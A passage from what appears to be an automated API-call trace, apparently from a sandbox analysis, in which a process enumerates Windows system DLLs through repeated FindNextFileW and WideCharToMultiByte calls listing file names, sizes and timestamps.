lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.345] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0206.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.345] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0206.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.345] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0206.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x9dc288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0206.345] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0206.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x9dc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0206.345] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0206.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x9dc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0206.345] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x9dc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0206.346] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x9dc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0206.346] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.346] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x9dc288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0206.346] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x9dc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0206.346] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x9dc288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0206.346] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.346] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x9dc288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0206.347] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x9dc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0206.347] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.347] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.347] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.347] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.347] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.348] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.348] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.348] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.348] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 